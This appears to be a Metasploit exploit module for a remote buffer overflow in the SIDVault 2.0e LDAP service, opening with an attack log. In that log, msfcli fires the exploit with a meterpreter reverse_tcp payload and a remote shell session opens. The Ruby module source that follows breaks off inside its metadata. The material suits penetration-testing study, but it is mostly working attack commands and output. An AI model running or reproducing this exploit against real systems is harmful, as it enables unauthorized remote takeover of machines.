#–attack-log–
#attacker@dz-labs:~/pentests/metasploit/framework-3.2/trunk$
./msfcli exploit/windows/ldap/sidvault_ldap #PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.2 RHOST=192.168.1.3 E
#[*] Please wait while we load the module tree…
#[*] Handler binding to LHOST 0.0.0.0
#[*] Started reverse handler
#[*] Sending stage (718336 bytes)
#[*] Meterpreter session 1 opened (192.168.1.2:4444 -> 192.168.1.3:1076)
#meterpreter >
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require ‘msf/core’
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
‘Name’ => ‘SIDVault 2.0e Windows Remote Buffer Overflow’,
‘Description’ => %q{
This exploits a buffer overflow in the LDAP service that is
part of the SIDVault product. This module was tested against
version 2.0e.
},
‘Author’ => [ 'His0k4 <his0k4.hlm[at]gmail.com>’ ],
‘License’ => MSF_LICENSE,
‘Version’ => ‘$Revision$’,
‘References’ =>
[
[ 'URL', '